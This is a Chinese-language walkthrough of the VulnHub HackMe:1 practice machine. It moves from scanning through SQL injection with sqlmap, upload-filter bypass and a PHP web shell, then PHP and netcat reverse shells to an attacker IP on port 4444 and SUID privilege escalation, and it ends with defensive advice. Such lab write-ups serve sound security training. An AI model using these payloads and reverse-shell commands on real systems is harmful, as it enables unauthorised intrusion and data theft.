ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

从零开始渗透测试:HackMe靶机实战指南

从零开始渗透测试:HackMe靶机实战指南

1. 靶机环境搭建与信息收集

1.1 靶机下载与网络配置

HackMe:1是VulnHub平台上的一款入门级渗透测试靶机,适合练习基础的Web渗透和权限提升技能。首先需要从VulnHub官网下载OVA文件,导入到VMware或VirtualBox等虚拟化平台中运行。这里有个细节需要注意:建议将靶机网络模式设置为"桥接"而非NAT,这样可以避免后续扫描时出现IP识别问题。

启动靶机后,在攻击机(Kali Linux)上使用arp-scan快速定位靶机IP:

sudo arp-scan -l

这个命令会列出当前局域网内所有活跃设备的IP和MAC地址。通过对比VMware虚拟机的MAC地址前缀(如00:0c:29),可以准确识别出靶机的IP(示例中为192.168.1.104)。如果网络中存在多个虚拟机,也可以通过靶机启动时显示的IP来确认。

1.2 端口扫描与服务识别

使用Nmap进行全端口扫描和版本探测:

nmap -A 192.168.1.104

参数说明:

  • -A:启用操作系统检测、版本检测、脚本扫描和路由跟踪
  • -T4:加快扫描速度(可选项)

扫描结果显示开放了两个关键端口:

  • 22/tcp:SSH服务(但暂时没有可用凭证)
  • 80/tcp:HTTP服务(Web应用入口)

注意:在实际渗透测试中,建议先使用-p-参数进行全端口扫描(1-65535),避免遗漏非标准端口。本例中为了节省时间直接使用了-A参数。

2. Web应用渗透测试

2.1 初识Web界面

访问http://192.168.1.104显示一个用户登录页面。尝试常见弱口令(admin/admin等)无果后,发现页面底部有注册链接。注册时需要填写用户名、邮箱和密码,这里有几个关键点:

  1. 邮箱格式验证较宽松,可以使用任意格式(如test@test.com)
  2. 密码要求至少6位字符
  3. 注册后会自动登录,跳转到欢迎页面

注册时建议使用易记但不易被猜到的用户名,因为后续可能需要手动输入这些凭证。例如:"pentester_001"比"test1"更合适。

2.2 目录枚举与敏感文件发现

使用Dirb进行目录扫描:

dirb http://192.168.1.104

发现关键路径:

  • /upload:文件上传功能入口
  • /welcome.php:用户登录后的主页面

通过浏览器访问/upload路径,可以看到一个简单的文件上传表单。测试发现它允许上传图片文件(jpg/png),但对其他类型文件的过滤机制需要进一步测试。

2.3 SQL注入漏洞利用

在welcome.php页面,使用Burp Suite拦截POST请求并保存为sql1.txt文件。然后使用SQLMap进行自动化注入测试:

sqlmap -r sql1.txt --batch

参数说明:

  • -r:从文件中读取HTTP请求
  • --batch:自动选择默认选项,避免交互式询问

确认存在注入漏洞后,逐步提取数据库信息:

  1. 获取数据库列表:
sqlmap -r sql1.txt --dbs --batch
  1. 获取webapphacking数据库的表结构:
sqlmap -r sql1.txt -D webapphacking --tables --batch
  1. 提取users表数据:
sqlmap -r sql1.txt -D webapphacking -T users --dump --batch

重要提示:在生产环境中绝对不要使用--dump-all参数,这会无差别下载所有数据,可能违反法律法规。应该精确指定需要提取的数据范围。

2.4 密码破解与登录

从users表中获取到的密码哈希是MD5加密的。可以使用在线破解网站(如md5decrypt.net)或本地工具(如John the Ripper)进行破解。对于简单的密码(如"password123"),在线网站通常能快速返回结果。

获得明文密码后,成功登录系统,此时可以看到更多功能选项,包括关键的文件上传接口。

3. 文件上传与WebShell获取

3.1 绕过上传限制

虽然上传表单声称只接受图片,但实际可以通过以下方法绕过:

  1. 修改文件扩展名(如shell.php.jpg)
  2. 修改Content-Type头(image/jpeg)
  3. 使用空字节截断(shell.php%00.jpg)

准备一个简单的PHP WebShell(shell.php):

<?php system($_GET['cmd']); ?>

使用Burp Suite拦截上传请求,修改文件名和Content-Type后放行。上传成功后,通过访问/upload/shell.php?cmd=id即可验证是否执行成功。

3.2 蚁剑连接与管理

中国蚁剑(AntSword)是一款流行的WebShell管理工具。配置步骤如下:

  1. 新建Shell,填写URL(如http://192.168.1.104/upload/shell.php)
  2. 设置连接密码(如果WebShell有验证)
  3. 选择编码器(通常使用default)
  4. 测试连接成功后,即可进行文件管理、数据库操作等

在蚁剑的虚拟终端中,可以方便地执行系统命令,比单纯的WebShell更高效。

4. 权限提升与Root获取

4.1 反弹Shell建立

为了获得更稳定的交互式Shell,可以上传反弹Shell脚本。以下是PHP版本的反弹Shell:

<?php $sock=fsockopen("192.168.1.100",4444); exec("/bin/sh -i <&3 >&3 2>&3"); ?>

在攻击机上监听4444端口:

nc -lvnp 4444

通过蚁剑执行该PHP文件后,即可获得反向连接。为了提升Shell的交互性,可以执行:

python -c 'import pty; pty.spawn("/bin/bash")'

4.2 SUID提权分析

查找具有SUID权限的可执行文件:

find / -perm -4000 -type f 2>/dev/null

发现可疑程序:

/home/legacy/touchmenot

SUID(Set User ID)是Linux的一种特殊权限,允许用户以文件所有者的身份执行程序。如果这个程序存在漏洞或被错误配置,就可能被利用来提权。

4.3 利用touchmenot提权

执行该程序:

/home/legacy/touchmenot

成功获得root权限。这是因为该程序被设置为以root身份运行,且内部可能调用了system()等危险函数。在实际环境中,类似的提权方法包括:

  1. 利用环境变量劫持(如PATH)
  2. 滥用具有SUID权限的常见命令(如find、vim、bash等)
  3. 内核漏洞提权(如DirtyCow)

最后,别忘了清理痕迹,删除上传的WebShell和临时文件,避免影响其他学习者的体验。

5. 渗透测试经验总结

5.1 技术要点回顾

整个渗透过程涉及多个关键阶段:

  1. 信息收集(网络扫描、服务识别)
  2. Web应用测试(SQL注入、文件上传)
  3. 权限提升(SUID滥用)

每个阶段都需要注意:

  • 保持操作的可追溯性(记录所有命令和结果)
  • 避免对系统造成意外破坏
  • 遵守道德和法律边界

5.2 常见问题解决

Q:SQLMap无法识别注入点 A:尝试添加--level=5 --risk=3提高检测级别,或手动指定注入参数-p

Q:上传的WebShell无法执行 A:检查文件权限(chmod +x),确认上传目录有执行权限

Q:反弹Shell不稳定 A:尝试使用更稳定的反弹方式,如:

mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.100 4444 >/tmp/f

5.3 防御建议

从防御角度,这个靶机暴露了多个安全问题:

  1. SQL注入:应使用参数化查询
  2. 文件上传:需要严格验证文件类型和内容
  3. 密码存储:不应使用MD5等弱哈希
  4. SUID设置:避免不必要的SUID权限

对于初学者,建议在完成攻击后,思考如何修复这些漏洞,这样才能真正提升安全能力。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进